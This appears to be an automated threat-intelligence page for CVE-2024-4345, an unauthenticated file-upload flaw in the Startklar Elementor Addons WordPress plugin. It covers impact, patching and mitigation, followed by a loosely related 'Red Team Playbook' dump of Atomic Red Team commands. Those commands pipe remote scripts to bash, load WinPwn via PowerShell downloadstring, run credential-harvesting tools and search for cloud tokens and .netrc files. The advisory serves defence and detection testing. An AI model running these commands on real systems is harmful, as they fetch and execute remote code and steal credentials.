CVE-2024-4345
Overview
This vulnerability is an arbitrary file upload flaw caused by insufficient validation of uploaded file types within the 'process' function of the 'startklarDropZoneUploadProcess' class. The affected component is the Startklar Elementor Addons WordPress plugin, specifically in versions up to and including 1.7.13. The root cause lies in the lack of proper sanitization and filtering of user-supplied files before storage on the server.
Vulnerability Description
The Startklar Elementor Addons plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file type validation in the 'process' function in the 'startklarDropZoneUploadProcess' class in versions up to, and including, 1.7.13. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An unauthenticated attacker can exploit this vulnerability to upload arbitrary files to the web server, potentially leading to remote code execution and full system compromise. No privileges or user interaction are required, as the attack vector is publicly accessible over the network (AV:N/AC:L/PR:N/UI:N). This can result in unauthorized access to sensitive data, defacement, or persistent backdoor installation, severely impacting the confidentiality, integrity, and availability of the affected system.
Solution
Users of the Startklar Elementor Addons plugin should upgrade to a version later than 1.7.13 where the file upload validation flaw is addressed. The Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/4221b33c-5cfa-48db-92bf-bf25ff3c5a5f) provides detailed patch information. Reviewing the plugin’s change set at revision 3081987 confirms the implementation of stricter file type validation in the upload process. Applying this update is the recommended remediation step to mitigate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Startklar Elementor Addons plugin for WordPress arises from inadequate file type validation within the 'process' function of the 'startklarDropZoneUploadProcess' class. This flaw allows unauthenticated users to upload arbitrary files to the server hosting the affected site. The lack of stringent checks on file types means that attackers can bypass security measures and potentially upload malicious scripts or executables. Once these files are on the server, they can be executed, leading to remote code execution, which poses a significant threat to the integrity and confidentiality of the web application and its data.
Attack vectors exploiting this vulnerability are particularly concerning due to their simplicity and effectiveness. An attacker could leverage the file upload functionality of the plugin to submit a crafted request containing a malicious payload disguised as a benign file type, such as an image or document. This could be done through automated scripts or manually via web forms, requiring no authentication or advanced technical skills. Once the malicious file is uploaded, the attacker could execute it by accessing the file directly through the web server, leading to unauthorized access to the server environment, data exfiltration, or further compromise of the web application.
The real-world impact of this vulnerability can be severe. Organizations relying on the affected plugin may face significant business risks, including data breaches, loss of customer trust, and potential legal ramifications due to non-compliance with data protection regulations. The ability for an attacker to execute arbitrary code on a server can lead to a complete takeover of the web application, allowing for the manipulation of sensitive data or the deployment of additional malware. Furthermore, the exploitation of this vulnerability could serve as a stepping stone for lateral movement within an organization's network, increasing the overall risk profile.
To detect and mitigate this vulnerability, organizations should implement several strategies. First, regular security assessments and vulnerability scans should be conducted to identify outdated or vulnerable plugins. It is crucial to keep all software, including plugins, up to date with the latest security patches. Additionally, employing a Web Application Firewall (WAF) can help filter out malicious requests and provide an additional layer of protection against file upload attacks. Implementing strict file type validation and limiting the types of files that can be uploaded to only those necessary for the application's functionality can further reduce the risk. Lastly, monitoring server logs for unusual activity related to file uploads can help in early detection of exploitation attempts.
In conclusion, the vulnerability in the Startklar Elementor Addons plugin highlights the critical need for robust security practices in web application development and maintenance. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves against such threats. Proactive detection and mitigation strategies are essential to safeguarding sensitive data and maintaining the integrity of web applications in an increasingly hostile cyber landscape.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-4345 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/4221b33c-5cfa-48db-92bf-bf25ff3c5a5f?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/startklar-elmentor-forms-extwidgets/trunk/startklarDropZoneUploadProcess.php?rev=3061298#L7 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3081987/startklar-elmentor-forms-extwidgets |